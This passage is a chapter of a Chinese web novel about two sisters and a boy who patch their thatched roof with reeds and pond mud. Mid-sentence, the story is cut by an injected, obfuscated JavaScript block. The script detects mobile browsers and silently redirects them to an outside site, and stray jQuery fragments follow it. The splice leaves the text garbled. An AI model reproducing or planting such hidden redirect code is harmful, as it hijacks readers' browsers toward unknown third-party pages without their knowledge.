“这屋顶得尽快补起来才行,不然一旦下雨,屋里头就待不住人了。”裴境尘进屋转了一圈后抬头盯着屋顶说道。
姜醉儿没忍住乐了,“我当然知道屋顶得补,但我不会,也没钱请人来帮忙,你会?”
“会!”裴境尘毫不犹豫地点头,“先前我们村没有遭灾的时候,村里人的屋顶要是需要修补都会找我。”
虽然一开始他们只是为了名正言顺的给他一口吃的或是几个铜钱,但他每一次上房顶修补都尽全力,渐渐地就从不熟练到熟练,修补得像模像样了。
“那成,明日我们就先把这房顶修补了,需要什么?”姜醉儿干脆利落,半点都不怀疑裴境尘所言真假。
裴境尘心中跑出一丝欣喜,他喜欢被人信任的感觉。
“你这屋顶本身就是用茅草混泥糊上去的,只要有茅草和泥土便可修补,天公若是作美,当日就能把修补上去的茅草晒干透。”
“茅草多得很,我们去割回来就成!”姜石两眼亮晶晶,再看裴境尘时多了几分崇拜,完全忘了她之前还因着裴境尘咬了阿姐而生气的事儿。
姜醉儿抬手揉了揉姜石的软发,“不急今天,明日再说。”
“为什么?”姜石皱眉不解,她们回来得不算晚,这会儿天还亮着呢,到天黑之前的时间完全够他们去割上三五捆茅草回来。
姜醉儿觑了觑裴境尘,故意压低声调说:“人刚来咱家,就让他立刻干活不好。”
“……好像也是。”姜石只用了一息就接受了阿姐的解释,扭头拉住裴境尘的手,“我带你去你住的地方呀!”
“阿姐,让他住在东边那间空屋可以吗?”
“当然可以。”姜醉儿本来也打算让裴境尘住东边空屋。
家里拢共四间能住人的屋子,她爹娘一屋,那个就不动了,姜二夫妻俩的牌位如今就安置在里头呢,剩下的三间屋子原是她和姜石一人一间,但她们现在还小,可以继续同住一屋。
余下的两间屋子她以后打算用其中一间来酿酒,东边那间小一些不合适,倒正好合适给裴境尘住下。
裴境尘被姜石拉着走进东屋,见里头空荡荡只置了一张床也没什么失望情绪,于他而言眼下的境况已经算很好了。
“你们村的茅草长在何处?我可以自己一个人先去割点儿回来。”裴境尘有些坐不住,他向来不喜欢把隐患留着。
尽管瞧着往后几日都是大晴天,但老天爷的脾性没人真摸得准,万一他们屋顶还没修补好,天上就落雨就不好了。
姜醉儿托腮打量了一眼裴境尘瘦小的身子,怀疑他就是能把茅草割下来,也扛不回来多少,“我说了明日再说,那便是明日。”
“为何?”裴境尘不悦,“你别看我瘦小,实际上我力气可大了!”
“嗯,没说你力气小,你一个打三个都能赢,你力气当然不小。”姜醉儿失笑,看他这样,如果她不说清楚,说不得这人会偷偷去割茅草。
“那茅草在大河边长得最多,而老姜家就在离大河边不远的位置,姜彦被赌坊的人断了一臂,不死心里也怨恨着,不好叫他看见我们。”
裴境尘一怔,“是这样?”
“当然。”姜醉儿哄小孩儿似的,“等今日过去,他们认清姜彦断臂无可挽回,没那么气之后再见我们便不会跟我们起冲突。”
裴境尘点头,“那好吧。”她所言的确在理。
“咕咕!”突然,两小的肚子叫了起来,姜石和裴境尘不约而同地捂住肚子。
“阿姐~”
姜醉儿扶额,“不是才吃了馒头没多久怎的又饿了?”
“我在长身体吃得多!”姜石理直气壮地点点头,阿娘就是这么跟她说的。
裴境尘眼神发飘,他也想这般说,但他不大好意思,毕竟在这儿他且还算是个外人呢。
“罢了,我去煮饭,你俩好生待着别出去。”姜醉儿没辙,只好拎着陈米往厨房走,都还是半大的孩子,总不能真把人饿着。
姜石很听话,阿姐让她好生待着,她就跑到院墙那边看蚂蚁搬家。
须臾,裴境尘蹲到她身边跟她一块儿看。
姜石抬眸看了裴境尘一眼,便不再理他,嘴里嘀嘀咕咕对着蚂蚁说话。
……
“阿爹都把院墙修得这般高了还是能让人翻进来,蚂蚁你说有什么办法能让人翻不进来呢?”
“这还不简单,弄点淤泥糊上头,再去砍点长刺的荆棘啥的放上去,或者找点碎瓷片插上,谁想从墙头翻进来都得被扎穿手。”裴境尘下意识搭话。
说完就意识到不对,头皮一麻,他朝姜石看去,果然从姜石眼中看到了兴奋。
“尘哥你好聪明啊!”姜石从心夸赞,她怎么就没想到这法子呢?
裴境尘干咳一声,“这,这不算什么。”
“那就交给尘哥了,我去告诉阿姐!”姜石拔腿就跑向厨房,很快没了身影。
裴境尘右手食指无意识摩挲大拇指,眸底飞快划过一抹暗色,他怎么觉得自己好像被小孩儿算计了?
等饭食做好端上桌,裴境尘吃下第一口又觉得他被算计也没什么,反正这儿以后就是他家,防贼的东西越多越好。
姜醉儿越看裴境尘越满意,他凶但也有脑子,这样的人成长起来后绝对是个很可靠的帮手。
三人用完饭食,各自洗漱回屋歇下,为明日的忙活养精蓄锐。
老姜家那头闹翻了天也没影响到这头三人的酣睡,倒不是老姜家不想来找姜醉儿的麻烦,而是姜彦的媳妇儿孩子抓着姜家二老哭,姜彦抱着大哥姜保的双腿哭,要钱,他们根本腾不开手。
翌日。
姜醉儿三人早早起来去割茅草,等太阳大了就回家歇着,到傍晚太阳没那么烈了再继续,足足花了两天才割够所需的茅草。
“这泥要池塘里的淤泥最好。”裴境尘看姜醉儿,他没在长原村里瞧见池塘。
姜醉儿顿时卡壳,好半晌才从记忆中挖出可取用淤泥的池塘位置在何处,“村外五百米有一个废弃的池塘,大家伙要用淤泥都是去那儿。”
话罢,三人互
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15825966|175521||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
相看了看自己的小胳膊小腿,脸色沉了沉,淤泥有水重得很,她们要靠人力搬够所需的淤泥简直是个噩梦。
“要不咱们去问问王叔能不能跟他借用一下牛车?”姜石提议道。
姜醉儿打了个响指,“这是个好办法,但王叔肯定不会给我们白用牛车,咱手里的钱不多。”
她接的那几个活儿去干完回来,兜里也就才多十个铜钱而已,听说村里人跟王叔借用牛车一趟就得五十文钱呢。
“那怎么办?我们力气小,又背不了多少。”姜石瘪嘴垂眸低落。
裴境尘皱眉,“我力气大我去背,多背几趟总会够的。”就是会累点儿。
“不行,回头把你给压坏了就不好了。”姜醉儿咬咬牙,一手牵住裴境尘一手牵住姜石往外走,“钱花出去总会再赚回来,身子压坏了就坏了没得挽回。”
“我们去找王叔!”
见状,裴境尘只能把到嘴边的话给咽了回去。
若王叔拒绝他们,他再说吧。
没成想,姜醉儿把要用牛车的原因与王叔那么一说,王叔就点头答应让他们借用牛车,并且只意思意思收他们十文钱!
“你们可别说出去啊,否则以后大家伙都要以十文钱找我借用牛车就不好了。”王叔不放心地叮嘱。
姜醉儿举三指发誓:“王叔你就放心吧,我们要是说出去就叫我被天打五雷轰!”
“呵呵呵叔信你,不发誓也成,你们自己心里有数我就放心了。”王叔笑呵呵地把牛车交出,“你们会赶吧?”
裴境尘接过绳儿,“我学过我会。”
“成,那你们赶紧去吧,别耽搁了。”王叔不大放心,但也不打击小孩儿积极性,打算稍后自己悄悄跟着看看,若情况不对,他再接手。
三人点头赶着牛车往池塘去,裴境尘不是无的放矢,他还真的会赶车。
王叔见裴境尘赶车赶得有模有样的便放下心,不再跟着。
牛车来回拉了两趟总算是把他们需要的淤泥拉够,他们将牛车还了之后,就开始糊茅草上屋顶修补。
从天亮干到天黑,总算是把屋顶漏洞的位置都给补上,淤泥还剩下一些,正好留着找到碎瓷片后弄上墙头防贼去。
三人身上都沾了泥,姜醉儿姐妹俩还好,她俩在屋下糊茅草不像裴境尘要在屋顶来回修补沾得多。
“我去河里洗洗。”裴境尘就一身衣裳,去河里洗,顺便就把衣裳给洗了。
姜醉儿没拦着,只叮嘱他要小心,“夜里别往深水去,在河边洗洗就行。”
“知道了。”裴境尘应声跑了出去。
随后,姜醉儿进厨房烧水,阿石体弱,洗澡得用热水洗才行,如此不易染病,她们本就过得拮据,可不好生病的。
白日里太阳大,至夜里河水还有些余温,裴境尘跳下河痛快地搓洗起来,把身上沾上的淤泥脏污都搓洗干净。
一刻钟后,洗干净的裴境尘前脚上岸,后脚耳尖地听到了些许不对劲的动静,目光不由得循声朝岸边离他不远的芦苇丛看去。